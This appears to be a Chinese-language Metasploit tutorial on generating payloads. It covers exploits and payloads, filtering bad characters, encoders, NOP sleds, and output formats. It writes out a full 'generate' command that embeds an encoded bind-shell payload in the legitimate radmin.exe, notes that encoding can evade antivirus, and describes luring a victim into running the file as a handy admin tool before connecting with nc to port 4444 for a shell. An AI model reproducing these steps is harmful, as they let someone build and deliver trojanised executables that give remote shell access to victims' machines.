一、exploit和payload
exploit是指利用漏洞的一個過程和方法,最終的目的是為了執行payload,payload才是真正實現我們攻擊的代碼(獲得shell等等)
以緩沖區溢出為例,exploit模塊告訴你在寄存器中要填充多少個字符,讓寄存器下一條指令執行的代碼位置跳轉到我們的payload上
在使用exploit時,我們都是用 use 去使用的,在exploit模塊中,我們可以 set 調用各種payload
如果我們不想使用exploit,而是直接使用payload,我們也可以直接用 use 使用一個payload
一樣可以通過show options查看有哪些參數需要設置
這里的RHOST是指受害機器只接受某個遠程主機來連接它的4444端口(4444是受害機器開放的端口),限制了來源IP,我們這里可以不用設置。但是如果被其他人掃到這個端口,他們也可以連接上去獲得shell。
二、直接使用payload
一般我們是在exploit中調用payload,如果想直接使用payload,可以使用 generate 命令來生成payload。
如下圖所示,我們可以獲得payload的一些基本信息和設置的參數,buf 就是 payload 的16進制表示方式
我們在輸出的時候,可以不以16進制的方式輸出,而是輸出成exe格式
payload中可能存在所謂的“壞字符”,它們在執行過程中會被過濾掉、或以其他語義的方式被執行,導致payload在目標系統上執行和預期結果不一致
緩沖區溢出中,最典型的就是 “\x00”,大部分CPU架構在執行的時候都會把它認為是一個壞字符,我們的shellcode不能正常執行
我們在使用generate命令時,可以利用 -b 參數,后面跟上要避免在shellcode中出現的壞字符,這樣就能把壞字符過濾掉(壞字符一般不止一個),格式如下
generate -b '\x00\xff'
如果要過濾的壞字符太多,可能沒有一個模塊可以實現
generate -b '\x00\x12\x34\x56\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xff\x0b\x01\xcc\x6e\x1e\x2e\x26'
另外,我們也會發現過濾掉壞字符后的payload大小也變化了,這是因為經過編碼后,“\x00”可能由“\xaa\xbb”表示,由1個字節變成2個字節甚至更多。
我們也可以手動指定encoder
# show encoders可以顯示可用的encoders
generate -e x86/nonalpha
我們也可以用encoder對payload加密一次或多次,加密幾次可以用 -i 參數指定。也可以用多個encoder,-e xxx -e xxx,有時還能免殺的效果。
generate -b '\x00\xff' -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
-t:payload的輸出格式,默認是給ruby語言使用的16進制編碼表示
-e:指定encoder
-i:加密輪數
-k:執行過程中不會產生新的進程,會在當前進程中產生線程,隱蔽性高些
-x:生成payload時使用的模板。上面radmin.exe是一個正常的可執行文件,它的功能會正常執行,不影響這個程序的功能,我們生成的payload也會正常執行。
-f:生成的文件
-t 支持的格式如下:
以下是輸出給c語言使用的payload和輸出給python的payload的區別,可以看到有些細微的差別
將這個程序拷貝到受害機器上,可以假設這樣一個環境,我們誘騙受害者下載我們這個帶有payload的程序(稱它是一個非常好用的服務器管理工具)。受害者執行時,提示的是這個程序叫做Radmin,一般我們看到這個提示都會允許
在使用的時候,也沒有什么異常
但是此時我們的電腦已經開放了4444端口
那么我們就可以通過nc去連接受害者機器的4444端口,獲得shell
因為有這些模板程序的存在,受害者以為執行的是正常的應用程序,但其實我們已經拿到了它的shell。
generate還有一個 -s 參數
-s <opt> NOP sled length
NOP:no-operation 或 next operation (無任何操作)
NOP的特點:當代碼執行到NOP指令的時候,CPU自動滑到當前字節的下一個字節,直到不是NOP
當我們能控制EIP寄存器,就能控制程序的流程(EIP寄存器存放的是下一條指令內存地址)。這樣我們能把payload插入到內存的某個地址,通過修改EIP寄存器的方式讓程序跳轉到payload的位置上。
如果我們不能讓它精確地跳到那個內存位置,我們可以在payload中加上NOP,NOP可以是一個字符,也可以是多個字符。在payload的前面加上NOP,CPU碰到這些NOP時不會執行,而是往后滑,直到不是NOP為止,最終也會執行我們的payload。
我們生成的payload第一行有14個字節,我們可以用 -s 在前面加上14個NOP
可以看到除了第一行,后面每行開始都跟原來生成的payload一樣(看大小也可以,只是大了14個字節),也可以看到NOP的的字符不是固定的。